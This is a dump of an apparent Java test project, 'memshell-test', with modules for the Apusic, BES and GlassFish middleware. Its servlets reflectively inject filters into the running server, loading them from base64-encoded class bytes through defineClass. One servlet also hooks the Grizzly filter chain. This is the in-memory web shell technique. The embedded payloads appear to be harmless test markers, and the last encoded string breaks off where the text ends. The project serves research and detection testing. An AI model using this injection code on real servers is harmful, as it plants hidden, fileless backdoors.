EAEgO2AAQtKyy5AAUDALEAAAACAAwAAAAOAAMAAAAfAAsAIQATACIADQAAACoABAAAABQADgAPAAAAAAAUABYAFwABAAAAFAAYABkAAgAAABQAGgAbAAMAHAAAAAYAAgAdAB4AAQAfAAoAAQALAAAAKwAAAAEAAAABsQAAAAIADAAAAAYAAQAAACkADQAAAAwAAQAAAAEADgAPAAAAAQAgAAAAAgAh"; 16 | 17 | public static Class getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException { 18 | ClassLoader loader = Thread.currentThread().getContextClassLoader(); 19 | BASE64Decoder base64Decoder = new BASE64Decoder(); 20 | byte[] bytes = base64Decoder.decodeBuffer(classCode); 21 | 22 | Method method = null; 23 | Class clz = loader.getClass(); 24 | while (method == null && clz != Object.class) { 25 | try { 26 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 27 | } catch (NoSuchMethodException ex) { 28 | clz = clz.getSuperclass(); 29 | } 30 | } 31 | 32 | if (method != null) { 33 | method.setAccessible(true); 34 | return (Class) method.invoke(loader, bytes, 0, bytes.length); 35 | } 36 | 37 | return null; 38 | 39 | } 40 | } -------------------------------------------------------------------------------- /memshell-test/memshell-test-apusic/src/org/su18/memshell/test/apusic/IndexServlet.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.apusic; 2 | 3 | import javax.servlet.ServletException; 4 | import javax.servlet.http.HttpServlet; 5 | import javax.servlet.http.HttpServletRequest; 6 | import javax.servlet.http.HttpServletResponse; 7 | import java.io.IOException; 8 | 9 | /** 10 | * 金蝶中间件测试 11 | * 12 | * @author su18 13 | */ 14 | public class IndexServlet extends HttpServlet { 15 | 16 | @Override 17 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 18 | String message = "apusic index servlet test"; 19 | String id = req.getParameter("id"); 20 | 21 | StringBuilder sb = new StringBuilder(); 22 | sb.append(message); 23 | if (id != null && !id.isEmpty()) { 24 | sb.append("\nid: ").append(id); 25 | } 26 | 27 | resp.getWriter().println(sb); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-apusic/src/org/su18/memshell/test/apusic/NewFilter.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.apusic; 2 | 3 | import javax.servlet.*; 4 | import javax.servlet.http.HttpServletRequest; 5 | import javax.servlet.http.HttpServletRequestWrapper; 6 | import java.io.IOException; 7 | 8 | /** 9 | * @author su18 10 | */ 11 | public class NewFilter implements Filter { 12 | 13 | /** 14 | * 初始化 filter 15 | * 16 | * @param filterConfig FilterConfig 17 | */ 18 | @Override 19 | public void init(FilterConfig filterConfig) { 20 | } 21 | 22 | /** 23 | * doFilter 方法处理过滤器逻辑 24 | * 25 | * @param servletRequest ServletRequest 26 | * @param servletResponse ServletResponse 27 | * @param filterChain FilterChain 28 | * @throws IOException 抛出异常 29 | * @throws ServletException 抛出异常 30 | */ 31 | @Override 32 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { 33 | // 给下一个过滤器 34 | filterChain.doFilter(new FilterRequest((HttpServletRequest) servletRequest), servletResponse); 35 | } 36 | 37 | /** 38 | * 销毁时执行的方法 39 | */ 40 | @Override 41 | public void destroy() { 42 | } 43 | 44 | /** 45 | * 自定义 FilterRequest 重写 getParameter 方法处理 id 值 46 | */ 47 | class FilterRequest extends HttpServletRequestWrapper { 48 | 49 | public FilterRequest(HttpServletRequest request) { 50 | super(request); 51 | } 52 | 53 | @Override 54 | public String getParameter(String name) { 55 | if ("id".equals(name)) { 56 | String originalId = super.getParameter(name); 57 | 58 | if (originalId != null && !originalId.isEmpty()) { 59 | int idNum = (Integer.parseInt(originalId) + 1); 60 | return Integer.toString(idNum); 61 | } 62 | } 63 | return super.getParameter(name); 64 | } 65 | } 66 | } -------------------------------------------------------------------------------- /memshell-test/memshell-test-apusic/web/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | IndexServlet 9 | org.su18.memshell.test.apusic.IndexServlet 10 | 11 | 12 | 13 | AddApusicFilter 14 | org.su18.memshell.test.apusic.AddApusicFilter 15 | 16 | 17 | 18 | NewFilter 19 | org.su18.memshell.test.apusic.NewFilter 20 | 21 | 22 | 23 | IndexServlet 24 | /index 25 | 26 | 27 | 28 | AddApusicFilter 29 | /addApusicFilter 30 | 31 | 32 | 33 | NewFilter 34 | /* 35 | 36 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-bes/src/org/su18/memshell/test/bes/AddBESFilter.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.bes; 2 | 3 | import com.bes.enterprise.util.descriptor.web.FilterDef; 4 | import com.bes.enterprise.util.descriptor.web.FilterMap; 5 | import com.bes.enterprise.webtier.core.CloudServletContext; 6 | 7 | import javax.servlet.DispatcherType; 8 | import javax.servlet.Filter; 9 | import javax.servlet.ServletContext; 10 | import javax.servlet.ServletException; 11 | import javax.servlet.http.HttpServlet; 12 | import javax.servlet.http.HttpServletRequest; 13 | import javax.servlet.http.HttpServletResponse; 14 | import java.io.IOException; 15 | import java.lang.reflect.Constructor; 16 | import java.lang.reflect.Field; 17 | import java.lang.reflect.Method; 18 | import java.util.HashMap; 19 | 20 | import static org.su18.memshell.test.bes.DynamicUtils.FILTER_CLASS_STRING; 21 | 22 | /** 23 | * BES ≈ Tomcat,跟 GlassFish 也是一家人,在其基础上稍微改改 24 | * 测试版本 BES-LITE-9.5.0.382 25 | * 26 | * @author su18 27 | */ 28 | public class AddBESFilter extends HttpServlet { 29 | 30 | @Override 31 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 32 | 33 | 34 | String filterName = "su18BESFilter"; 35 | String urlPattern = "/*"; 36 | ServletContext servletContext = req.getServletContext(); 37 | 38 | CloudServletContext context = null; 39 | 40 | try { 41 | 42 | // 获取 Context 43 | while (context == null) { 44 | Field f = servletContext.getClass().getDeclaredField("context"); 45 | f.setAccessible(true); 46 | Object object = f.get(servletContext); 47 | 48 | if (object instanceof CloudServletContext) { 49 | context = (CloudServletContext) object; 50 | } else if (object instanceof ServletContext) { 51 | servletContext = (ServletContext) object; 52 | } 53 | } 54 | 55 | // 创建自定义 Filter 对象 56 | Filter filter = (Filter) DynamicUtils.getClass(FILTER_CLASS_STRING).newInstance(); 57 | 58 | // 创建 FilterDef 对象 59 | FilterDef filterDef = new FilterDef(); 60 | filterDef.setFilterName(filterName); 61 | filterDef.setFilter(filter); 62 | // filterDef.setFilterClass(filter.getClass()); 63 | 64 | // 创建 ApplicationFilterConfig 对象 65 | Constructor[] constructor = Class.forName("com.bes.enterprise.webtier.core.ApplicationFilterConfig").getDeclaredConstructors(); 66 | constructor[0].setAccessible(true); 67 | Object config = constructor[0].newInstance(context, filterDef); 68 | 69 | // 创建 FilterMap 对象 70 | FilterMap filterMap = new FilterMap(); 71 | filterMap.setFilterName(filterName); 72 | filterMap.setDispatcher(DispatcherType.REQUEST.name()); 73 | filterMap.addURLPattern(urlPattern); 74 | 75 | 76 | // 反射将 ApplicationFilterConfig 放入 StandardContext 中的 filterConfigs 中 77 | Field filterConfigsField = context.getClass().getDeclaredField("filterConfigs"); 78 | filterConfigsField.setAccessible(true); 79 | HashMap filterConfigs = (HashMap) filterConfigsField.get(context); 80 | filterConfigs.put(filterName, config); 81 | 82 | // 反射将 FilterMap 放入 StandardContext 中的 filterMaps 中 83 | Field filterMapField = context.getClass().getDeclaredField("filterMaps"); 84 | filterMapField.setAccessible(true); 85 | Object object = filterMapField.get(context); 86 | 87 | Class c = Class.forName("com.bes.enterprise.webtier.core.CloudServletContext$ContextFilterMaps"); 88 | Method m = c.getDeclaredMethod("addBefore", FilterMap.class); 89 | m.setAccessible(true); 90 | m.invoke(object, filterMap); 91 | 92 | resp.getWriter().println("bes filter added"); 93 | 94 | } catch (Exception e) { 95 | e.printStackTrace(); 96 | } 97 | 98 | } 99 | } -------------------------------------------------------------------------------- /memshell-test/memshell-test-bes/src/org/su18/memshell/test/bes/DynamicUtils.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.bes; 2 | 3 | import sun.misc.BASE64Decoder; 4 | 5 | import java.io.IOException; 6 | import java.lang.reflect.InvocationTargetException; 7 | import java.lang.reflect.Method; 8 | 9 | /** 10 | * @author su18 11 | */ 12 | public class DynamicUtils { 13 | 14 | 15 | public static String FILTER_CLASS_STRING = "yv66vgAAADQANwoABwAiCwAjACQIACUKACYAJwsAKAApBwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMb3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcjsBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEADGZpbHRlckNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEACkV4Y2VwdGlvbnMHAC0HAC4BAAdkZXN0cm95AQAKU291cmNlRmlsZQEAD1Rlc3RGaWx0ZXIuamF2YQwACQAKBwAvDAAwADEBAA90aGlzIGlzIEZpbHRlciAHADIMADMANAcANQwAFAA2AQAob3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAAYABwABAAgAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQABAAsAAAA1AAAAAgAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAFgACAAAAAQAOAA8AAAAAAAEAEgATAAEAAQAUABUAAgALAAAAZAADAAQAAAAULLkAAgEAEgO2AAQtKyy5AAUDALEAAAACAAwAAAAOAAMAAAAfAAsAIQATACIADQAAACoABAAAABQADgAPAAAAAAAUABYAFwABAAAAFAAYABkAAgAAABQAGgAbAAMAHAAAAAYAAgAdAB4AAQAfAAoAAQALAAAAKwAAAAEAAAABsQAAAAIADAAAAAYAAQAAACkADQAAAAwAAQAAAAEADgAPAAAAAQAgAAAAAgAh"; 16 | 17 | public static Class getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException { 18 | ClassLoader loader = Thread.currentThread().getContextClassLoader(); 19 | BASE64Decoder base64Decoder = new BASE64Decoder(); 20 | byte[] bytes = base64Decoder.decodeBuffer(classCode); 21 | 22 | Method method = null; 23 | Class clz = loader.getClass(); 24 | while (method == null && clz != Object.class) { 25 | try { 26 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 27 | } catch (NoSuchMethodException ex) { 28 | clz = clz.getSuperclass(); 29 | } 30 | } 31 | 32 | if (method != null) { 33 | method.setAccessible(true); 34 | return (Class) method.invoke(loader, bytes, 0, bytes.length); 35 | } 36 | 37 | return null; 38 | 39 | } 40 | } -------------------------------------------------------------------------------- /memshell-test/memshell-test-bes/src/org/su18/memshell/test/bes/IndexServlet.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.bes; 2 | 3 | import javax.servlet.ServletException; 4 | import javax.servlet.http.HttpServlet; 5 | import javax.servlet.http.HttpServletRequest; 6 | import javax.servlet.http.HttpServletResponse; 7 | import java.io.IOException; 8 | 9 | /** 10 | * 宝兰德中间件测试 11 | * 12 | * @author su18 13 | */ 14 | public class IndexServlet extends HttpServlet { 15 | 16 | @Override 17 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 18 | String message = "bes index servlet test"; 19 | String id = req.getParameter("id"); 20 | 21 | StringBuilder sb = new StringBuilder(); 22 | sb.append(message); 23 | if (id != null && !id.isEmpty()) { 24 | sb.append("\nid: ").append(id); 25 | } 26 | 27 | resp.getWriter().println(sb); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-bes/web/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | IndexServlet 9 | org.su18.memshell.test.bes.IndexServlet 10 | 11 | 12 | 13 | AddBESFilter 14 | org.su18.memshell.test.bes.AddBESFilter 15 | 16 | 17 | 18 | IndexServlet 19 | /index 20 | 21 | 22 | 23 | AddBESFilter 24 | /addBESFilter 25 | 26 | 27 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-glassfish/src/org/su18/memshell/test/glassfish/AddGlassFishFilter.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.glassfish; 2 | 3 | import com.sun.enterprise.web.WebModule; 4 | import org.apache.catalina.deploy.FilterDef; 5 | import org.apache.catalina.deploy.FilterMap; 6 | 7 | import javax.servlet.DispatcherType; 8 | import javax.servlet.Filter; 9 | import javax.servlet.ServletContext; 10 | import javax.servlet.ServletException; 11 | import javax.servlet.http.HttpServlet; 12 | import javax.servlet.http.HttpServletRequest; 13 | import javax.servlet.http.HttpServletResponse; 14 | import java.io.IOException; 15 | import java.lang.reflect.Constructor; 16 | import java.lang.reflect.Field; 17 | import java.util.HashMap; 18 | import java.util.HashSet; 19 | import java.util.List; 20 | 21 | import static org.su18.memshell.test.glassfish.DynamicUtils.FILTER_CLASS_STRING; 22 | 23 | /** 24 | * Glassfish 的 web-core 用的就是 Tomcat 的代码,在其上加了自己实现的 Valve 25 | * 所以大部分代码通用,但是对于一些部分细节不一样,可以看到我用 Tomcat 添加 Filter 的代码进行了修改 26 | * Glassfish 在 Tomcat 基础上有自己的实现,在 web-glue 包中可看到,例如 StandardContext 的实现类 WebModule 27 | * 在 WebModule 中也有对 servlet 和 filter 的储存,servletRegisMap 和 filterRegisMap 28 | * 感兴趣的师傅可以自行添加测试 29 | * 测试版本:GlassFish 5.0.0 30 | * 31 | * @author su18 32 | */ 33 | public class AddGlassFishFilter extends HttpServlet { 34 | 35 | @Override 36 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 37 | 38 | 39 | String filterName = "su18GlassFishFilter"; 40 | ServletContext servletContext = req.getServletContext(); 41 | 42 | WebModule context = null; 43 | 44 | try { 45 | 46 | // 获取 Context 47 | while (context == null) { 48 | Field f = servletContext.getClass().getDeclaredField("context"); 49 | f.setAccessible(true); 50 | Object object = f.get(servletContext); 51 | 52 | if (object instanceof WebModule) { 53 | context = (WebModule) object; 54 | } else if (object instanceof ServletContext) { 55 | servletContext = (ServletContext) object; 56 | } 57 | } 58 | 59 | // 创建自定义 Filter 对象 60 | Filter filter = (Filter) DynamicUtils.getClass(FILTER_CLASS_STRING).newInstance(); 61 | 62 | // 创建 FilterDef 对象 63 | FilterDef filterDef = new FilterDef(); 64 | filterDef.setFilterName(filterName); 65 | filterDef.setFilter(filter); 66 | // filterDef.setFilterClass(filter.getClass()); 67 | 68 | // 创建 ApplicationFilterConfig 对象 69 | Constructor[] constructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); 70 | constructor[0].setAccessible(true); 71 | Object config = constructor[0].newInstance(context, filterDef); 72 | 73 | // 创建 FilterMap 对象 74 | FilterMap filterMap = new FilterMap(); 75 | filterMap.setFilterName(filterName); 76 | filterMap.setURLPattern("/*"); 77 | HashSet set = new HashSet<>(); 78 | set.add(DispatcherType.REQUEST); 79 | filterMap.setDispatcherTypes(set); 80 | 81 | 82 | // 反射将 ApplicationFilterConfig 放入 StandardContext 中的 filterConfigs 中 83 | Field filterConfigsField = context.getClass().getSuperclass().getSuperclass().getDeclaredField("filterConfigs"); 84 | filterConfigsField.setAccessible(true); 85 | HashMap filterConfigs = (HashMap) filterConfigsField.get(context); 86 | filterConfigs.put(filterName, config); 87 | 88 | // 反射将 FilterMap 放入 StandardContext 中的 filterMaps 中 89 | Field filterMapField = context.getClass().getSuperclass().getSuperclass().getDeclaredField("filterMaps"); 90 | filterMapField.setAccessible(true); 91 | List object = (List) filterMapField.get(context); 92 | 93 | object.add(filterMap); 94 | 95 | resp.getWriter().println("glassfish filter added"); 96 | 97 | } catch (Exception e) { 98 | 99 | } 100 | 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-glassfish/src/org/su18/memshell/test/glassfish/AddGlassFishServiceList.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.glassfish; 2 | 3 | 4 | import com.sun.enterprise.web.pwc.connector.coyote.PwcCoyoteRequest; 5 | import org.apache.catalina.connector.InputBuffer; 6 | import org.apache.catalina.connector.RequestFacade; 7 | import org.apache.catalina.core.RequestFacadeHelper; 8 | import org.glassfish.grizzly.Context; 9 | import org.glassfish.grizzly.EmptyCompletionHandler; 10 | import org.glassfish.grizzly.filterchain.Filter; 11 | import org.glassfish.grizzly.filterchain.FilterChainEvent; 12 | import org.glassfish.grizzly.filterchain.ListFacadeFilterChain; 13 | import org.glassfish.grizzly.filterchain.TransportFilter; 14 | import org.glassfish.grizzly.http.server.AfterServiceListener; 15 | import org.glassfish.grizzly.http.server.Request; 16 | 17 | import javax.servlet.ServletException; 18 | import javax.servlet.http.HttpServlet; 19 | import javax.servlet.http.HttpServletRequest; 20 | import javax.servlet.http.HttpServletResponse; 21 | import java.io.IOException; 22 | import java.lang.reflect.Field; 23 | 24 | import static org.su18.memshell.test.glassfish.DynamicUtils.GRIZZLY_CLASS_STRING; 25 | 26 | /** 27 | * 使用 Grizzly 的 Filter 写入内存马 28 | * 在处理 Http 的 HttpServerFilter 中,afterServicesList 用来最后进行处理 29 | * 使用 request 添加 afterServicesList,并在其中获取 context 来添加 Filter 30 | * 调用: 31 | * req->reqFacHelper->request->inputBuffer->grizzlyRequest->afterServicesList 32 | * ctx->internalContext->processor 33 | * 测试版本:GlassFish 5.0.0 34 | * 35 | * @author su18 36 | */ 37 | public class AddGlassFishServiceList extends HttpServlet { 38 | 39 | @Override 40 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 41 | 42 | try { 43 | Field f = RequestFacade.class.getDeclaredField("reqFacHelper"); 44 | f.setAccessible(true); 45 | RequestFacadeHelper helper = (RequestFacadeHelper) f.get(req); 46 | 47 | Field f2 = RequestFacadeHelper.class.getDeclaredField("request"); 48 | f2.setAccessible(true); 49 | PwcCoyoteRequest request = (PwcCoyoteRequest) f2.get(helper); 50 | 51 | Field f3 = PwcCoyoteRequest.class.getSuperclass().getDeclaredField("inputBuffer"); 52 | f3.setAccessible(true); 53 | InputBuffer buffer = (InputBuffer) f3.get(request); 54 | 55 | Field f4 = InputBuffer.class.getDeclaredField("grizzlyRequest"); 56 | f4.setAccessible(true); 57 | Request request1 = (Request) f4.get(buffer); 58 | request1.addAfterServiceListener(new FlushResponseHandler()); 59 | 60 | } catch (Exception e) { 61 | e.printStackTrace(); 62 | } 63 | 64 | } 65 | 66 | 67 | public final class FlushResponseHandler extends EmptyCompletionHandler implements AfterServiceListener { 68 | 69 | private final FilterChainEvent event; 70 | 71 | private FlushResponseHandler() { 72 | this.event = TransportFilter.createFlushEvent(this); 73 | } 74 | 75 | @Override 76 | public void onAfterService(Request request) { 77 | 78 | try { 79 | Context internalContextImpl = request.getContext().getInternalContext(); 80 | Class c = Class.forName("org.glassfish.grizzly.filterchain.InternalContextImpl"); 81 | Field f = c.getSuperclass().getDeclaredField("processor"); 82 | f.setAccessible(true); 83 | ListFacadeFilterChain filterChain = (ListFacadeFilterChain) f.get(internalContextImpl); 84 | 85 | for (Filter filter : filterChain) { 86 | if (filter.getClass().getName().contains("TestFilter")) { 87 | return; 88 | } 89 | } 90 | 91 | // 将我们的 filter 放在第一位 92 | filterChain.add(0, (Filter) DynamicUtils.getClass(GRIZZLY_CLASS_STRING).newInstance()); 93 | 94 | } catch (Exception ignored) { 95 | 96 | } 97 | } 98 | } 99 | 100 | 101 | } 102 | 103 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-glassfish/src/org/su18/memshell/test/glassfish/DynamicUtils.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.glassfish; 2 | 3 | import sun.misc.BASE64Decoder; 4 | 5 | import java.io.IOException; 6 | import java.lang.reflect.InvocationTargetException; 7 | import java.lang.reflect.Method; 8 | 9 | /** 10 | * @author su18 11 | */ 12 | public class DynamicUtils { 13 | 14 | 15 | public static String FILTER_CLASS_STRING = "yv66vgAAADQANwoABwAiCwAjACQIACUKACYAJwsAKAApBwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMb3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcjsBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEADGZpbHRlckNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEACkV4Y2VwdGlvbnMHAC0HAC4BAAdkZXN0cm95AQAKU291cmNlRmlsZQEAD1Rlc3RGaWx0ZXIuamF2YQwACQAKBwAvDAAwADEBAA90aGlzIGlzIEZpbHRlciAHADIMADMANAcANQwAFAA2AQAob3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAAYABwABAAgAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQABAAsAAAA1AAAAAgAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAFgACAAAAAQAOAA8AAAAAAAEAEgATAAEAAQAUABUAAgALAAAAZAADAAQAAAAULLkAAgEAEgO2AAQtKyy5AAUDALEAAAACAAwAAAAOAAMAAAAfAAsAIQATACIADQAAACoABAAAABQADgAPAAAAAAAUABYAFwABAAAAFAAYABkAAgAAABQAGgAbAAMAHAAAAAYAAgAdAB4AAQAfAAoAAQALAAAAKwAAAAEAAAABsQAAAAIADAAAAAYAAQAAACkADQAAAAwAAQAAAAEADgAPAAAAAQAgAAAAAgAh"; 16 | 17 | public static String GRIZZLY_CLASS_STRING = "yv66vgAAADQAZgoAFQA1CgA2ADcHADgKAAMAOQgAOgoACAA7CAA8BwA9BwA+CgAIAD8KAEAAQQcAQggAQwkARABFCgBGAEcKAAkASAoAQABJBwBKCgAVAEsHAEwHAE0BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEANExvcmcvc3UxOC9tZW1zaGVsbC90ZXN0L2dsYXNzZmlzaC9UZXN0R3JpenpseUZpbHRlcjsBAApoYW5kbGVSZWFkAQBmKExvcmcvZ2xhc3NmaXNoL2dyaXp6bHkvZmlsdGVyY2hhaW4vRmlsdGVyQ2hhaW5Db250ZXh0OylMb3JnL2dsYXNzZmlzaC9ncml6emx5L2ZpbHRlcmNoYWluL05leHRBY3Rpb247AQABYwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQABbQEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQADY3R4AQA2TG9yZy9nbGFzc2Zpc2gvZ3JpenpseS9maWx0ZXJjaGFpbi9GaWx0ZXJDaGFpbkNvbnRleHQ7AQAKY29ubmVjdGlvbgEANkxvcmcvZ2xhc3NmaXNoL2dyaXp6bHkvbmlvL3RyYW5zcG9ydC9UQ1BOSU9Db25uZWN0aW9uOwEAB2NoYW5uZWwBACVMamF2YS9uaW8vY2hhbm5lbHMvU2VsZWN0YWJsZUNoYW5uZWw7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQANU3RhY2tNYXBUYWJsZQcATAcATgcAOAcATwcASgEACkV4Y2VwdGlvbnMHAFABAApTb3VyY2VGaWxlAQAWVGVzdEdyaXp6bHlGaWx0ZXIuamF2YQwAFgAXBwBODABRAFIBADRvcmcvZ2xhc3NmaXNoL2dyaXp6bHkvbmlvL3RyYW5zcG9ydC9UQ1BOSU9Db25uZWN0aW9uDABTAFQBABxzdW4ubmlvLmNoLlNvY2tldENoYW5uZWxJbXBsDABVAFYBAAV3cml0ZQEAD2phdmEvbGFuZy9DbGFzcwEAE2phdmEvbmlvL0J5dGVCdWZmZXIMAFcAWAcAWQwAWgBbAQAQamF2YS9sYW5nL09iamVjdAEAGUhUVFAvMS4xIDIwMCBPSyBzdTE4IHl5ZHMHAFwMAF0AXgcAXwwAYABhDABiAGMMAGQAZQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAB0AHgEAMm9yZy9zdTE4L21lbXNoZWxsL3Rlc3QvZ2xhc3NmaXNoL1Rlc3RHcml6emx5RmlsdGVyAQAsb3JnL2dsYXNzZmlzaC9ncml6emx5L2ZpbHRlcmNoYWluL0Jhc2VGaWx0ZXIBADRvcmcvZ2xhc3NmaXNoL2dyaXp6bHkvZmlsdGVyY2hhaW4vRmlsdGVyQ2hhaW5Db250ZXh0AQAjamF2YS9uaW8vY2hhbm5lbHMvU2VsZWN0YWJsZUNoYW5uZWwBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAMZ2V0Q2xvc2VhYmxlAQAjKClMb3JnL2dsYXNzZmlzaC9ncml6emx5L0Nsb3NlYWJsZTsBAApnZXRDaGFubmVsAQAnKClMamF2YS9uaW8vY2hhbm5lbHMvU2VsZWN0YWJsZUNoYW5uZWw7AQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAIWphdmEvbmlvL2NoYXJzZXQvU3RhbmRhcmRDaGFyc2V0cwEABVVURl84AQAaTGphdmEvbmlvL2NoYXJzZXQvQ2hhcnNldDsBABBqYXZhL2xhbmcvU3RyaW5nAQAIZ2V0Qnl0ZXMBAB4oTGphdmEvbmlvL2NoYXJzZXQvQ2hhcnNldDspW0IBAAR3cmFwAQAZKFtCKUxqYXZhL25pby9CeXRlQnVmZmVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwAhABQAFQAAAAAAAgABABYAFwABABgAAAAvAAEAAQAAAAUqtwABsQAAAAIAGQAAAAYAAQAAABMAGgAAAAwAAQAAAAUAGwAcAAAAAQAdAB4AAgAYAAABBQAHAAYAAABQK7YAAsAAA00stgAEThIFuAAGOgQZBBIHBL0AC